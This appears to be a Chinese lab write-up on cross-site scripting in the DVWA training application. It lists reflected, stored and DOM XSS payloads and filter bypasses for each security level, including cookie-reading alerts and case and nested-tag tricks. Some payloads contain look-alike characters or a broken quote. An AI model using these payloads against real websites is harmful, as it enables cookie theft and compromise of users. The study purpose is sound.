XSS(跨站脚本攻击)
- 实验环境:DVWA
一、XSS攻击原理
XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击。XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。XSS利用的是用户对网站的信任。
二、XSS类型
1.反射型XSS
反射型XSS也被称为非持久型XSS,只是简单的把用户输入的数据反射给浏览器,简单来说,黑客往往需要诱导用户点击一个恶意链接才能攻击成功。
2.存储型XSS
存储型XSS也被称为持久型XSS。当攻击者提交一段JS代码后,被服务器端接收并储存,当攻击者再次访问这个页面时,这段JS代码被程序读出来响应给浏览器。
3.DOM型XSS
DOM的全称为Document Object Model,即文档对象模型。通过修改页面的DOM节点形成的XSS,可存储型,也可反射型,只取决于输出地点。
三、应用场景
- 利用XSS获取cookie
- 重定向
- 钓鱼网站
- DDOS攻击
四、实验
反射型
- Low级别:
1、查看源码,可以看到没有对参数做任何防御处理措施,直接输出:
2、尝试一般的XSS攻击,利用burpsuite抓包,修改payload:
<script>alert("xss")</script>
<body οnlοad=alert('xss2')>
<a href='' οnclick=alert('xss3')>click1</a>
<img src=http://127.0.0.1/a.jpg οnerrοr=alert('xss4')> #src地址错误,然后执行onerror的内容
<script>alert(document.cookie)</script>
-
Medium级别:
1、分析源码,可以看到使用str_replace函数只对参数进行了简单的替换,过滤<script>,别的没有过滤,此时可以用大小写或者别的标签来绕过.
2、绕过防御
大小写绕过 <Script>alert('xxx')</script>
组合过滤条件绕过 <scr<script>ipt>alert('sss')</script>
尝试使用别的标签来绕过
<body οnlοad=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>
<a href='' οnclick=alert(/xss/)>click</a>
-
high级别
1、分析源码可以看到对<script>标签进行了严格的过滤,但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
2、尝试使用别的标签来绕过
<body οnlοad=alert('xss')>
<img src="" οnerrοr=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>
<a href='' οnclick=alert(/xss/)>click</a>
存储型
- Low级别:
1、分析析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后$message使用mysql_real_escape_string函数转义SQL语句中的特殊字符,使用stripslashes函数过滤掉”\”,对$name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符。没有防御XSS漏洞,只防御了SQL注入漏洞。
2、尝试一般的XSS攻击,在message栏中测试
<script>alert('xss')</script>
<body οnlοad=alert(xss')>
<a href=http://www.baidu.com>clock</a>
<a href='' οnclick=alert('xss')>click</a>
- Medium级别:
1、分析源代码,可以看到对$message参数做了很严格的过滤(进行html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过。
2、绕过
<Script>alert('x')</script>
<body οnlοad=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>
- High级别:
1、分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过。
<body οnlοad=alert('xss')>
<a href='' οnclick=alert('xss')>click</a>
DOM型
- Low级别:
查看前端和服务器端没有任何代码过滤
构造payload <script>alert('hack')</script>
- Medium级别:
查看源代码发现过滤了script
构造攻击语句 </option></select><img src=1 οnerrοr=alert(/xss/)>
- High级别:
此处使用了白名单过滤,只允许传的default值为French、English、German、Spanish 其中一个。
URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
构造payload #<script>alert('xss')</script>